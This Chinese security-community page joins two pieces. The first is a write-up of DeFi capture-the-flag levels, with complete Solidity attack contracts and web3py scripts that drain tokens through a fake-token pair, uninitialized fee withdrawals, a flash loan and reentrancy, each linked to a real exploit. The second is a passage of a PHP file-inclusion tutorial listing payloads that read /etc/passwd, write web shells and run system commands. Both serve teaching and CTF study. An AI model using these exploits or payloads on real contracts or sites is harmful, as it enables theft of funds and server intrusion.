**depositToken函数没有针对传入的token(可控)进行有效性判断**
(判断是否为JIMBO、JAMBO)。致使后续在Uniswap路由中判断配对合约时并不是JIMBO&JAMBO，而是用户传入的token和配对合约中的一个token。
### 攻击
恶意构造一个token并mint，与配对合约中的tokenA创一个新的配对合约到Uniswap。调用depositToken获取得到超过100流动性的DISCO，再把获取的流动性token由攻击者合约转给player即可。
pragma solidity >=0.6.5;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol";
interface IDiscoLP {
function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
function balanceOf(address from) external returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract Token is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
_mint(msg.sender, 2**256 - 1);
}
}
library $ {
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
interface IPair {
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}
contract DiscoLPAttack {
function getToken0(address pair) public view returns(address) {
return IPair(pair).token0();
}
function atttack(address instance, uint256 amount, address tokenA) public payable {
address _factory = $.UniswapV2_FACTORY;
address _router = $.UniswapV2_ROUTER02;
ERC20 evilToken = new Token("Evil Token", "EVIL");
address pair = IUniswapV2Factory(_factory).createPair(address(evilToken), address(tokenA));
evilToken.approve(instance, uint256(-1));
evilToken.approve(_router, uint256(-1));
IERC20(tokenA).approve(_router, uint256(-1));
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(evilToken),
address(tokenA),
1000000 * 10 ** 18,
1 * 10 ** 18,
1, 1, address(this), uint256(-1));
IDiscoLP(instance).depositToken(address(evilToken), amount, 1);
}
function transferDiscoLP2Player(address instance, address player) public payable {
uint256 balance = IDiscoLP(instance).balanceOf(address(this));
IDiscoLP(instance).approve(address(this), uint256(-1));
IDiscoLP(instance).transfer(player, balance);
}
}
/**
* step1: get reserveToken() from instance
* step2: deploy attack contract
* step3: get token0 on pair attack.getToken0(reserveToken)
* step4: token0.transfer(attack contract, 1 * 10 ** 18)
* Token contract At Address in remix then transfer
* step5: attack contract attack(instance, 1000000 * 10 ** 18, token0)
* step6: transferDiscoLP2Player(instance, player)
* step7: in DiscoLP balanceOf(player)
**/
### 真实场景
<https://growthdefi.medium.com/raave-farming-contract-exploit-explained-f3b6f0b3c1b3>
## P2PSwapper
### 题目描述
本关实现了一个零信任的DEX，并提供了交易相关的操作(创建createDeal、处理takeDeal、取消cancleDeal等)。目标是盗取P2PSwapper
合约中所有的WETH token。难度五颗星。
### 合约代码分析
默认partnerById和userByAddress并未初始化，当withdrawFees的user不存在，能bypass检查，使得userByAddress[msg.sender]
== 0 == partnerById[userId]。从而实现多次withdrawFees，最终实现提取完合约P2PSwapper中的WETH。
### 攻击
/**
* 1. 初始时P2PSwapper中的weth token，balanceOf(instance) == 313337+1 = 313338
* instance.createDeal{value: 313337}(p2pweth, 1, p2pweth, 1000000000000);
* partnerFees[0] = 313338/2 = 1566669
*
* 2. 攻击者player调用p2pweth.deposit(1eth)
* 3. 攻击者player调用approve(instance, 10eth = 1*10^19 = 10000000000000000000)完成授权
* 4. 攻击者player调用P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 313338+1+3133338 = 3446677
*
* 5. 攻击者player调用P2PSwapper.withdrawFees(player2)提取到一个未注册&初始化的用户地址player2
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 3446677 - partnerFees[0] = 3446677 - 1566669 = 1880008
*
* 6. 攻击者player调用P2PSwapper.withdrawFees(player3)提取到一个未注册&初始化的用户地址player3
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 1880008 - partnerFees[0] = 1880008 - 1566669 = 313339
*
* 7. 继续withdrawFees合约余额是不足的，需要稍加计算先给合约转入weth p2pweth.transfer(instance) = 1253330
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 313339 + 1253330 = 1566669 = partnerFees[0]
*
* 8. 攻击者player调用P2PSwapper.withdrawFees(player4)提取到一个未注册&初始化的用户地址player4
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 1566669 - partnerFees[0] = 1566669 - 1566669 = 0
*
* done
**/
图2-1 P2PSwapper合约余额
图2-2 创建交易
图2-3 withdrawFees
图2-4 攻击步骤8完成以后P2PSwapper合约余额
上述过程可以利用web3py&web3js编写自动化脚本。web3py攻击脚本如下:
# -*-coding:utf-8-*- __author__ = 'joker'
import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy
# infura_url = 'https://ropsten.infura.io/v3/xxxx'
infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))
web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))
player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))
player2_address = ''
player3_address = ''
player4_address = ''
def send_transaction_sync(tx, account, args={}):
args['nonce'] = web3.eth.getTransactionCount(account.address)
signed_txn = account.signTransaction(tx.buildTransaction(args))
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
time.sleep(30)
return web3.eth.waitForTransactionReceipt(tx_hash)
challenge_address = ""
with open('./P2PSwapper/challenge.abi', 'r') as f:
abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
p2pweth_address = challenge_contract.functions.p2pweth().call()
print("[+] p2pweth {0}...".format(p2pweth_address))
with open('./P2PSwapper/p2pweth.abi', 'r') as f:
abi = json.load(f)
p2pweth_contract = web3.eth.contract(address=p2pweth_address, abi=abi)
# p2pweth.deposit(1eth)
print("[+] step1 player p2pweth deposit 1eth...")
tx = p2pweth_contract.functions.deposit()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 1000000000000000000})
#
# approve(instance, 10eth = 1*10^19 = 10000000000000000000)
print("[+] step2 player approve(instance, 10eth = 1*10^19 = 10000000000000000000)...")
tx = p2pweth_contract.functions.approve(guy=challenge_address, wad=10000000000000000000)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
print("[+] step3 createDeal(p2pweth, 1, p2pweth, 1) with player (value:3133338)...")
tx = challenge_contract.functions.createDeal(bidToken=p2pweth_address, bidPrice=1, askToken=p2pweth_address, askAmount=1)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 3133338})
#
# P2PSwapper.withdrawFees(player2)
print("[+] step4 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player2_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.withdrawFees(player3)
print("[+] step5 withdrawFees(player3) from player...")
tx = challenge_contract.functions.withdrawFees(user=player3_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# p2pweth.transfer(instance) = 1253330
print("[+] step6 p2pweth.transfer(instance) = 1253330...")
tx = p2pweth_contract.functions.transfer(dst=challenge_address, wad=1253330)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.withdrawFees(player4)
print("[+] step7 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player4_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
print('[+] Solved {0} ...'.format(p2pweth_contract.functions.balanceOf(challenge_address).call() == 0))
图2-5 web3py自动化攻击结果
### 真实场景
## FakerDAO
### 题目描述
本关是一个基于Uniswap实现的DAO合约，使用YIN&YANG实现配对合约。初始时player拥有5000YIN&5000YANG，目标从FakerDAO合约中借取1LAMBO的流动性代币。难度七颗星。
### 合约代码分析
很明显，利用Uniswap的闪电贷属性[2]，完成借贷并在闪电贷过程中调用FakerDAO合约的borrow获取流动性token，然后归还闪电贷即可。闪电贷[2]需要实现IUniswapV2Callee接口的uniswapV2Call方法。
### 攻击
首先从攻击合约中获取配对合约token0&token1，把player拥有的初始化token，转给攻击合约，攻击合约实现uniswapV2Call接口，利用闪电贷(Flash
Loan)完成借贷，并调用FakerDAO.borrow方法获取流动性token，最后归还闪电贷。
pragma solidity ^0.6.0;
import "https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
import "./UniswapV2Library.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";
contract FakerDAOAttack is IUniswapV2Callee{
address public instance;
function attack(address _instance, address _pair, uint256 amount0Out, uint256 amount1Out) public {
instance = _instance;
// (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
address token0 = Pair(_pair).token0();
address token1 = Pair(_pair).token1();
address _router = $.UniswapV2_ROUTER02;
IERC20(token0).approve(_router, uint256(-1));
IERC20(token1).approve(_router, uint256(-1));
IERC20(_pair).approve(_instance, uint256(-1));
// add liquidity
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
token0,
token1,
1500 * 10 ** 18,
1500 * 10 ** 18,
1, 1, address(this), uint256(-1));
Pair(_pair).swap(amount0Out, amount1Out, address(this), bytes('not empty'));
}
function uniswapV2Call(address _sender, uint _amount0, uint _amount1, bytes calldata _data) external override {
// address[] memory path = new address[](2);
// uint amountToken = _amount0 == 0 ? _amount1 : _amount0;
address token0 = Pair(msg.sender).token0();
address token1 = Pair(msg.sender).token1();
require(msg.sender == UniswapV2Library.pairFor($.UniswapV2_FACTORY, token0, token1),'Unauthorized');
FakerDAO(instance).borrow(1);
// transfer into pair(msg.sender)
// return flash loan
IERC20(token0).transfer(msg.sender, IERC20(token0).balanceOf(address(this)));
IERC20(token1).transfer(msg.sender, IERC20(token1).balanceOf(address(this)));
}
function toPlayer() public {
FakerDAO(instance).transfer(msg.sender, 1);
}
}
interface FakerDAO is IERC20 {
function borrow(uint256 _amount) external;
}
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface Pair is IERC20
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
/**
* steps:
* 1) get token0 and token1 on contract.pair
* 2) deploy FakerDAOAttack
* 3) token0.transfer(FakerDAOAttack, 5000000000000000000000) from player
* 4) token1.transfer(FakerDAOAttack, 5000000000000000000000) from player
* 5) FakerDAOAttack.attack(instance, pair, 1, 999999999999999999999999)
* 6) FakerDAOAttack.toPlayer
*/
图3-1 完成攻击后提交检验结果
### 真实场景
<https://slowmist.medium.com/analysis-of-warp-finance-hacked-incident-cb12a1af74cc>
## Main Khinkal Chef
### 题目描述
本关MainChef合约实现了流动性池管理的工具，可以通过add添加池子Pool信息，随着区块时间的变化，会针对Pool池子进行奖励(通过updatePool完成)。奖励通过代币KhinkalToken进行发放，每当池子更新，MainChef合约都会mint对应的奖励代币KhinkalToken，目标是盗取MainChef合约中所有的KHINKAL
token。难度五颗星。
### 合约代码分析
图4-1 设置管理员检查存在漏洞
setGovernance用以修改管理员，检查逻辑存在严重错误，可以修改管理员，从而实现向合约中添加新的token即形成新的Pool。正确的检查逻辑应该如下(多了一个下划线，导致和参数一致):
require(msg.sender == owner() || msg.sender == governance, "Access denied");
图4-2 管理员添加新token
有了管理员权限之后，可以添加任意的token(evil token)。
图4-3 token可控
在任意添加token之后，token的transferfrom为攻击者可控的恶意函数。
图4-4 token可控&重入攻击
由于token可控，user.amount在token.transfer之后重置，致使可以利用重入攻击多次withdraw，从而实现抽干合约中的代币。
图4-5 控制是否更新奖励
由于token可控，token的balanceOf函数可控，利用lpSupply可以控制是否奖励，这在后续攻击中需要用到，用来计算此时MainChef中的奖励代币KhinkalToken数量。
### 攻击
图4-6 代币奖励与区块高度
由于奖励代币KhinkalToken和区块高度息息相关，在真实场景中交易频繁，为了很好的实现精准控制，需要针对重入攻击(token.tranfser)进行精确布局，以保证能自适应区块高度的变化。
图4-7 重入攻击中精准计算进行控制
完整的攻击代码分为攻击合约&攻击脚本web3py，攻击脚本进行相关的计算并调用攻击合约完成攻击。 攻击合约如下:
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/access/Ownable.sol";
import "./KhinkalToken.sol";
interface IMainChef {
function setGovernance(address _governance) external;
function withdraw(uint256 _pid) external;
function deposit(uint256 _pid,uint256 _amount) external;
function addToken(IERC20 _lpToken) external;
function updatePool(uint256 _pid) external;
}
contract MainChefAttack is Ownable {
IMainChef target;
uint pwnedtransferFlag;
uint pwnedtransferFromFlag;
uint balanceOfFlag;
uint256 pid;
KhinkalToken khinkal;
uint256 accKhinkalPerShare;
constructor(address _target, address _token) public {
target = IMainChef(_target);
khinkal = KhinkalToken(_token);
balanceOfFlag = 1;
pid = 1;
pwnedtransferFlag = 0;
}
function setAccKhinkalPerShare(uint256 _accKhinkalPerShare) public onlyOwner {
accKhinkalPerShare = _accKhinkalPerShare;
}
// function balanceOf(address account) public view virtual returns (uint256) {
function balanceOf(address account) public virtual returns (uint256) {
if (balanceOfFlag == 1) {
return 0;
} else {
return 1e18;
}
}
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
// reentrant attack exp
if (pwnedtransferFlag == 1) {
pwnedtransferFlag = 2;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
if (pwnedtransferFlag == 2) {
// 1 + 78333646677 = 78333646678
// withdraw 500004127749479808 * 2
uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;
if (leftBalanceChallenge < withdrawBalance) {
khinkal.transfer(address(target), withdrawBalance - leftBalanceChallenge);
} else if (leftBalanceChallenge < 2 * withdrawBalance) {
khinkal.transfer(address(target), 2 * withdrawBalance - leftBalanceChallenge);
}
pwnedtransferFlag = 3;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
if (pwnedtransferFlag == 3) {
pwnedtransferFlag = 0;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
return true;
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol
function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
return true;
}
function attackPwnedPrepare() public payable onlyOwner {
target.setGovernance(address(this));
target.addToken(IERC20(address(this)));
// after 5 block number
/**
* internal 5 block number
khinkalReward = 5 * 31333333337 / 2 = 78333333342
accKhinkalPerShare = khinkalReward * 1e12 /1e18
= 78333333342 * 1e12 / 1e18
= 78333
instance = 313337 + khinkalReward
= 313337 + 78333333342
= 78333646679
lastKhinkalReward = khinkalReward = 78333333342
bypass require(pending <= pool.lastKhinkalReward, "Reward bigger than minted");
78333646679
78333646679 / 2 = 39166823339
>>> "%.40f" %(39166823339*1e12/78333)
'500004127749479808.0000000000000000000000000000000000000000'
*/
target.deposit(pid, 500004127749479808);
}
function attackUpdatePool() public payable onlyOwner {
balanceOfFlag = 0;
target.updatePool(pid);
balanceOfFlag = 1;
}
function attackPwned() public payable onlyOwner {
pwnedtransferFlag = 1;
target.withdraw(pid);
}
function validateInstanceAddress() public view returns (bool) {
return khinkal.balanceOf(address(target)) == 0;
}
function getInstance() public view returns (address) {
return address(target);
}
function getTokenAddress() public view returns (address) {
return address(khinkal);
}
}
/**
* 1. deployed MainChefAttack
* 2. MainChefAttack.attackPrepare()
* 3. MainChefAttack.attackUpdatePool()
* 4. MainChefAttack.setAccKhinkalPerShare()
* 3. MainChefAttack.attackPwned()
*/
攻击脚本如下:
# -*-coding:utf-8-*- __author__ = 'joker'
import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy
infura_url = 'https://ropsten.infura.io/v3/xxxx'
# infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))
web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))
player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))
def send_transaction_sync(tx, account, args={}):
args['nonce'] = web3.eth.getTransactionCount(account.address)
signed_txn = account.signTransaction(tx.buildTransaction(args))
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
time.sleep(30)
return web3.eth.waitForTransactionReceipt(tx_hash)
print("[+] step0 deployed attack contract...")
with open('./attack.abi', 'r') as f:
abi = json.load(f)
with open('./attack.bin', 'r') as f:
code = json.load(f)['object']
attack_contract = web3.eth.contract(bytecode=code, abi=abi)
challenge_address = ""
token_address = ""
tx = attack_contract.constructor(_target=challenge_address,
_token=token_address)
attack_contract_address = send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})[
'contractAddress']
print("[+] attack contract address {0}...".format(attack_contract_address))
attack_contract = web3.eth.contract(address=attack_contract_address, abi=abi)
# step1 attackPrepare
print("[+] step1 attackPwnedPrepare...")
tx = attack_contract.functions.attackPwnedPrepare()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
block_number = web3.eth.blockNumber
print("[+] block number {0}...".format(block_number))
print("[+] waiting for reach block number...")
while web3.eth.blockNumber != block_number + 4:
# print("[-] waiting ...")
continue
# step2 attackUpdatePool
print("[+] step2 attackUpdatePool...")
tx = attack_contract.functions.attackUpdatePool()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
input("any key to continue...")
# sometimes u can not get accurate block number of 4 maybe more
# to adapt to we need calc and tranfser
# uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
# uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;
# if (leftBalanceChallenge < 2 * withdrawBalance)
# khinkal.transfer(address(target),2 * withdrawBalance - leftBalanceChallenge);
# set accKhinkalPerShare to attack contract for calcing
print("[+] get accKhinkalPerShare and set it to attack contract...")
with open('./challenge.abi', 'r') as f:
abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
accKhinkalPerShare = challenge_contract.functions.poolInfo(1).call()[3]
tx = attack_contract.functions.setAccKhinkalPerShare(_accKhinkalPerShare=accKhinkalPerShare)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# step3 attackPwned
print("[+] step3 attackPwned...")
tx = attack_contract.functions.attackPwned()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# check
print('[+] Solved {0} ...'.format(attack_contract.functions.validateInstanceAddress().call()))
#
图4-8 完整攻击过程
### 真实场景
<https://github.com/IceCreamSwap/contracts/blob/7e433aa1d2633665b95a12687a17fc84d2a9c1ac/farm-contracts/MasterChef.sol>
## Reference
[1] <https://mobile.twitter.com/theraz0r/status/1395288985740664834>
[2]
<https://github.com/Uniswap/v2-periphery/blob/master/contracts/examples/ExampleFlashSwap.sol>
## 附录
本地测试合约代码&攻击合约代码见<https://github.com/0x9k/blockchain/defihack_xyz>
本地测试合约统一从Factory进行部署，部署获取得到instance即为关卡合约地址。
* * * | 社区文章 |
# 【技术分享】常见文件包含发生场景与防御
|
##### 译文声明
本文是翻译文章，文章来源：神月资讯
原文地址：<http://mp.weixin.qq.com/s/XDwlj6pRx4bQWtNkv_QnVg>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
PHP是一种非常流行的Web开发语言，互联网上的许多Web应用都是利用PHP开发的。而在利用PHP开发的Web应用中，PHP文件包含漏洞是一种常见的漏洞。利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段。本文对PHP文件包含漏洞的形成、利用技巧及防范进行了详细的分析，希望对大家攻击方法和防御上有帮助。如果内容有错误纰漏，请留言指正哦~
**一、 文件包含概念**
**1、 概念**
"代码注入"的典型代码就是文件包含(File
Inclusion)，我的理解是叫"外部数据流包含"，至于这个外部数据流是什么，可以是文件，也可以是POST数据流的形式。
文件包含可能会出现在JSP,PHP,ASP等语言中。
我们这里主要以PHP为例。
简单的来说，就是我们用一个可控的变量作为文件名并以文件包含的的方式调用了它，漏洞就产生了。以PHP为例文件包含漏洞可以分为RFI(远程文件包含)和LFI（本地文件包含漏洞）两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件。
1、本地文件包含LFI(Local File Include)
2、远程文件包含RFI(Remote File Include)（需要php.ini中allow_url_include=on）
**2、 函数**
PHP中四个包含文件的函数：
**1）include():**
当使用该函数包含文件时，只有代码执行到include()函数时才将文件包含进来，发生错误时只给出一个警告，继续向下执行。
**2）include_once():**
功能和include()相同，区别在于当重复调用同一文件时，程序只调用一次。
**3）require():**
1.require()与include()的区别在于require()执行如果发生错误，函数会输出错误信息，并终止脚本的运行。
2.使用require()函数包含文件时，只要程序一执行，立即调用文件，而include()只有程序执行到该函数时才调用。
**4）require_once():**
它的功能与require()相同，区别在于当重复调用同一文件时，程序只调用一次。
区别：
include(),include_once()在包含文件时，即使遇到错误，只生成警告（E_WARNING），下面的代码依然会继续执行；
而require()和require_once()则会报错，生成致命错误（E_COMPILE_ERROR）并停止脚本，直接退出程序。
因此，如果您希望继续执行，并向用户输出结果，即使包含文件已丢失，那么使用 include。否则，在框架、CMS 或者复杂的 PHP
应用程序编程中，请始终使用 require 向执行流引用关键文件。这有助于在某个关键文件意外丢失的情况下，提高应用程序的安全性和完整性。
参考：
W3School PHP include文件：<http://www.w3school.com.cn/php/php_includes.asp>
文件包含漏洞总结：<http://byd.dropsec.xyz/2016/07/19/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/>
**二、 主要包含形式**
**1、包含本地文件**
页面后端php文件"main.php"测试代码：
payload：
http://www.aaa.com/include/main.php?page=C:\oneword
www.aaa.com/file.php?file=C:\boot.ini（Windows查看系统版本）
www.aaa.com/file.php?file=C:\WindowsSystem32inetsrvMetaBase.xml（Windows查看IIS配置文件）
（绝对路径）
http://www.aaa.com/include/main.php?page=../../oneword
www.aaa.com/main.php?page=../../../../../etc/passwd
www.aaa.com/main.php?page=../../../../../proc/self/environ
（相对路径）
**2、包含远程文件**
payload：
http://www.aaa.com/include/url.php?url=http://www.bbb.com/2.txt
http://www.aaa.com/include/url.php?url=[http|https|ftp]://www.bbb.com/2.txt（可以有三种，http、https、ftp）
参考：
Exploiting PHP File Inclusion –
Overview：<https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/>
**三、 文件包含技巧**
**1、包含上传文件**
这个很好理解，也是最简单的一种办法。如果用户上传的文件内容中包含PHP代码，那么这些代码被文件包含函数加载后将会被执行。但能否攻击成功，取决于上传功能的设计，比如需要知道上传文件存放的物理路径，还需要上传的文件有执行权限。
防御：
1）做好上传限制
2）隐藏文件路径
3）设置文件访问、执行权限
**2、伪协议**
**1) php://input**
说明：
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件：
php <5.0 ，allow_url_include=Off 情况下也可以用
php > 5.0，只有在allow_url_fopen=On 时才能使用
**用例1 增加一句话：**
URL：
http://localhost/include/file.php?file=php://input
POST：
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
结果将在file.php所在文件下的文件shell.php内增加"<?php phpinfo();?>"一句话。
**用例2 增加文件：**
URL：
http://localhost/include/file.php?file=php://input
POST：
<?php fputs(fopen("oneword.php","w"),"<?php phpinfo();?>") ?>
这里fopen参数为w，可新建一个文件。
**用例3 执行系统命令：**
URL：
http://localhost/include/file.php?file=php://input
POST：
<?php system('ipconfig');?>
**2)data://**
说明：
这是一种数据流封装器，data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的，都是利用了PHP中的流的概念，将原本的include的文件流重定向到了用户可控制的输入流中
条件：
allow_url_include=On
php > 5.2
**用例1 文字命令：**
后台php代码：
Payload：
http://localhost/file.php?file=data:text/plain,<?php system(whoami)?>
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
（使用了base64加密的内容）
用例2 图片命令：
后台php代码：
Payload：
http://localhost/image.php?imagedata=data://image/jpeg;base64,.....
（后面加上图片木马）
参考：
data://手册：<http://www.php.net/manual/zh/wrappers.data.php>
**3)php://filter**
说明：
这个语句用来查看源码。直接包含php文件时会被解析，不能看到源码，所以用filter来读取，不过要先base64加密传输过来：
?page=php://filter/read=convert.base64-encode/resource=php.ini
访问上述URL后会返回config.php中经过Base64加密后的字符串，解密即可得到源码
解码之后得到：
即为php.ini内容。
Payload：
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword
（绝对路径）
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword
（相对路径）
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt
（远程文件）
参考：
《php:// 》:<http://php.net/manual/zh/wrappers.php.php>
**3、包含日志文件**
说明：
比如Web服务器的访问日志文件，这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此，攻击者可以向Web日志中插入PHP代码，通过文件包含漏洞来执行包含在Web日志中的PHP代码。下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是，如果网站访问量大的话，日志文件可能会非常大，这时如果包含一个这么大的文件时，PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件，因此在凌晨时进行攻击相对来说容易成功。
**1）日志默认路径**
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:xamppapachelogsaccess.log
D:xamppapachelogserror.log
(3) IIS6.0+win2003默认日志文件
C:WINDOWSsystem32Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%inetpublogsLogFiles
(5) nginx 日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
也可通过其配置文件Nginx.conf，获取到日志的存在路径（/opt/nginx/logs/access.log）
**2）web中间件默认配置**
